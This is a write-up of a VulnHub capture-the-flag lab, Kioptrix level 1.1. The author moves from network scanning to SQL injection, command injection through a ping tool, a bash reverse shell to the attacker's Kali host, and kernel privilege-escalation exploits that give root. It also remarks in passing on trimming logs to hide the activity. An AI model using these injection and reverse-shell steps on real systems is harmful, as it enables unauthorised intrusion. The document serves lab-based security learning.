Source: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
For this next vulnhub writeup in the Kioptrix series I’m going to try and stick to a couple ground rules to both keep difficulty up and to aid a little in my own person learning;
1. No exploits used outside of a 30 day window of VM release date – in this case 11 Feb 2011
2. Try to stick as much as possible to more manual exploit techniques.
With that let’s get started…
Start off as always with an initial host discovery scan via nmap:
nmap 192.168.111.0/24 -sP
And then a follow up service/OS enumeration:
nmap 192.168.111.100 -O -sV
CUPS is the standard UNIX print server. Some additional research might yield vulnerabilities in that service. A telnet banner grab against the SSH server returned back the same version identified by nmap. Port 783 is unknown but may be Apache SpamAssassin (?). Let’s also try pulling up the port 80/443 site in a browser.
That gives me a index.php page with a login prompt. Let’s perform a nikto scan looking for any obvious folders or vulnerabilities on the webserver.
Nothing immediately obvious, but we know the system is running MySQL so let’s try some basic SQLi methods within the login screen on http://192.168.111.100:80.
I’ll use this cheat sheet again to test.
That worked, but all that comes up is an admin ping tool.
Let’s test it, but also pass along additional parameters to see what sort of input sanitation is taking place.
And that returns:
As you can see, that worked with no problem. Can we close out the ping command and tack on another? Let’s try with “192.168.111.100; ls”.
That worked as well. Let’s see what user the service is running under with a whoami & id command strung on at the end.
Now let’s make things a little easier on ourselves by inserting a reverse shell connection back to Kali. This is a basic one from pentestmonkey.
bash -i >& /dev/tcp/192.168.111.101/8080 0>&1
Opening a netcat listener before firing it off…
Now we have a proper connection to the machine. Interestingly within the /var/www/ directory there is a “usage” folder with a monthly usage report for 09/2017 including all of our webserver and nikto requests to Apache. If outside of lab scenario this might be a good opportunity to trim these down a little.
The Apache ID didn’t have access to any /home directories, and locate didn’t work because the database wasn’t built (unfortunately).
Looking at /etc/passwd/ I found the same “john” & “harold” accounts I saw in /home/*. A quick ID showed that neither had sudo or elevated privileges, but it’s possible there might be something to be found in their home dir.
I tried checking out the MySQL DB is /var/lib/mysql but didn’t have permissions to view them.
While trying to find the specific CentOS/kernel version I came across this message instead. Also, it just took some googling to find the CentOS version pegged to the RH 3.4 release. That said, I didn’t find any close matches for either CentOS or Red Hat 3.4.* so I went by the Linux kernel version instead when searching out priv-esc exploits.
This one from the end of 2005 looked like a good option.
I WGET’d it from Kali to the target machine after compiling and running I got this message (maybe due to custom Kioptrix name?):
Anyway, I decided to give another kernel exploit a try. I can always come back to this one later. So the next one up to try was a Ring0 Priv-Esc.
Now I’m starting to wonder if I have the wrong reported Kernel version. Let’s try ONCE MORE for 2.6.*. I double check “uname -m” to make sure the machine is indeed 32-bit arch, it is. Let’s try another Ring0 priv-esc by a different author here.
Same WGET, compile, run.
FINALLY! We have root. 🙂
